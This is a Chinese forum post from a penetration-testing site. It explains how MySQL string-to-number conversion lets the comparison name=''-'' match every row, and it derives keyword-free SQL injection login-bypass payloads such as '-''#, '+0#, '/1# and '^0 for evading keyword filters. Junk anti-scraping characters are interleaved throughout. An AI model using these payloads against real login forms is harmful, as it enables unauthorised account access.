中国网络渗透测试联盟

标题: 使用MySQL字符串运算实施精巧化SQL注入攻击 [打印本页]

作者: admin    时间: 2013-11-23 16:20
标题: 使用MySQL字符串运算实施精巧化SQL注入攻击
我们先来看这样一个场景。
+ c( ?" m" k- ~1 t* Z有以下表结构:
* F, Z# L8 I8 c. ?% s$ c4 P6 s3 C7 l& k1 N" J6 J( k; t, v4 |
mysql> desc admin;
- s$ o% m1 l/ L2 L9 j+----------+--------------+------+-----+---------+----------------+4 X- j9 T( a) y# p( H
| Field    | Type         | Null | Key | Default | Extra          |4 M0 |8 h2 m# w2 e
+----------+--------------+------+-----+---------+----------------+  _7 I3 [, f5 ^$ E' c3 S
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |0 N( D2 U" S9 }( x2 w. `% w
| name     | char(32)     | NO   | UNI | NULL    |                |
5 Q/ {( x9 N5 c. x5 p. Y  D: N| password | char(32)     | NO   | UNI | NULL    |                |. i9 C: H9 L3 z  d
+----------+--------------+------+-----+---------+----------------+
) ]( B/ l0 a% A, B, P" B" [, ]  K3 rows in set (0.00 sec)
" T3 o) w5 C- I6 h8 {  J4 t执行select * from admin;,成功返回所有记录内容。
+ L7 _5 N! e& h7 B7 R1 T3 j$ n+ t8 K
$ Z5 X$ D) b# S9 T& R' I( x9 C) O8 ]6 L; [  d% f% n1 m" d
+----+--------+----------------------------------+
; T3 e4 a) n% e/ ]5 E2 c| id | name   | password                         |2 e$ R! x, ~$ p* W
+----+--------+----------------------------------+1 n2 E( B- Q( H: @4 J
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |" ], g3 D+ z( E$ i4 c2 F
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
- n5 ?; P, ~3 g8 B# J3 A|  4 | n00b   | ff80e8508d39047460921792273533a4 |8 x% F. s% R; y
+----+--------+----------------------------------+  q* e7 |: B& A+ M
3 rows in set (0.00 sec)' a  ?/ g; d* d
执行select * from admin where name=”;,没有匹配到任何记录。 ; f1 ^# l6 ~2 \: P

! L4 t; K% m2 ]) e7 gmysql> select * from admin where name = '';
4 b$ q9 \% h; Z* o! A3 BEmpty set (0.00 sec)3 ]+ t, Q& N+ V3 q$ n: k0 X9 t
那么我们来执行select * from admin where name = ”-”;
% p5 }5 H( ~. x8 O$ k' m7 p5 j; I% D# u  W3 C

, G% F- X% L* }& g+----+--------+----------------------------------+5 H+ N* w6 r( E, B# Q/ C: e
| id | name   | password                         |% I7 h! }1 y9 ]2 \: X6 b: a! N
+----+--------+----------------------------------+
  J' p4 D7 j9 D4 P' S  R/ N$ F|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
( y1 G. V% _, S1 |+ u|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |$ j6 a/ }, g5 D" m' M* O. J( [: b
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
* v. j: r6 h, U( d% B5 p7 p/ e2 H7 A+----+--------+----------------------------------+" x* R0 H% x0 R1 p
3 rows in set, 3 warnings (0.00 sec)" S8 s$ ]" m& l; M3 r( z) _
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
9 v: ]" Z  ~% m" a: s8 g% a4 J) |% U& u4 a  u8 x8 T2 D
mysql> show warnings;1 Q, L5 t" o2 J6 O# \: |1 X7 t
+---------+------+------------------------------------------8 a) q1 F' Y, P! M, @9 f
| Level   | Code | Message' h0 p2 N- E. }9 Y% V& m  \2 ^
+---------+------+------------------------------------------; |4 B/ K4 H6 m7 w& i% g( u# w& t
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
# ?6 [+ `; Y7 `" L- ~9 e| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
/ X5 y9 Q% K8 Y1 X& u; l8 b4 l4 @| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
  c3 h! v* i2 y1 w+---------+------+------------------------------------------
: N( @/ t, }$ r6 y" s" Q3 rows in set (0.00 sec)- P8 A1 q  M5 N2 g6 M$ K
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 * u9 s: q" w, n' Z

, W7 }! e0 z3 w1 H7 D* G3 [mysql> select ''-'';
5 m3 `6 {- x- J! b9 c/ c* x* @  L: q* z+-------+
2 A: t! K# }) e& M8 _+ t| ''-'' |! w3 o9 u, X  S2 D& l9 o" j" O* D
+-------+
. y! [$ o  H( @$ E. }|     0 |
1 C3 M% ?# Q7 b, r+-------+9 R) v- R  G4 `, F) u. P) o
1 row in set (0.00 sec)
6 L* m7 a6 Y! q返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
% O  n/ r) V$ X3 c, `7 d
9 F" L6 x) [  }: ?; Y  C7 bmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
; {9 V4 p9 g( @5 n+-----------------------------------------------------+
" C0 d& Z" v9 v" M) b| CAST((select name from admin limit 1,1) as DECIMAL) |7 g! H; b0 t' z4 v2 T9 C1 B
+-----------------------------------------------------+# D: |2 ~% f9 v
|                                                   0 |
8 d: P  O( @, p, i! {3 p& W1 T+-----------------------------------------------------+/ n' v' ~$ {; T0 F$ l  G, n+ A7 u2 o
1 row in set, 1 warning (0.00 sec)
4 s) F' j3 m) M: {+ l因此where语句构成了相等的条件,where 0=”=”,记录被返回。 4 \2 ~. p0 K/ |3 |* \! p2 l& }5 l
4 ~, C7 V5 ?+ B. H  k& U
SQL注入场景: http://www.sqlzoo.net/hack/ % g) q' _2 r* A5 y
+ \& C8 J! e& _0 U! V' c, z
4 I% r* V' K( T$ l  G" N
; k. d1 c) Z3 Z# j

; `( s8 i6 C  F' `% m如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
: j8 z. r) P, X' N; l+ u; v5 f2 z' B# w
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
0 T4 y3 V4 _3 @8 E7 ?* J3 c7 e8 G% p' A
  d) c4 A; @9 p* l& |

7 p: |- K9 j" L8 `8 }( }& O) Z  j- j) G
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
2 w5 K: K) A' z1 Z$ w# K% ~7 [! q
1 }3 J4 x. M; X. q   
& B. B; q9 y5 p* @7 D7 @
; @8 A; S+ q: Y$ n+ b/ O* ]2 B) `除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
( v' E# k$ i$ _7 l) K7 Z# i9 ^' U, L2 b; a+ ]2 n9 ^

, C, c6 v; W4 s8 ^mysql> select ''/1;. p: a$ s/ U" J* T
+------+
; N( G" c9 |( L+ P" || ''/1 |3 d) P: q2 L) d% A
+------+# c+ x. a; V6 M1 k4 {% e
|    0 |1 \: z! u- S% b6 n; e
+------+
! U: z, d  Q- ^' |; C1 Q1 row in set (0.00 sec)
6 J5 w2 n8 V! P. W类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
/ m; C% A) J5 Q9 B8 M
9 l$ m5 o7 P/ b) K利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。% }8 j2 E/ e' b! q2 y4 F





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2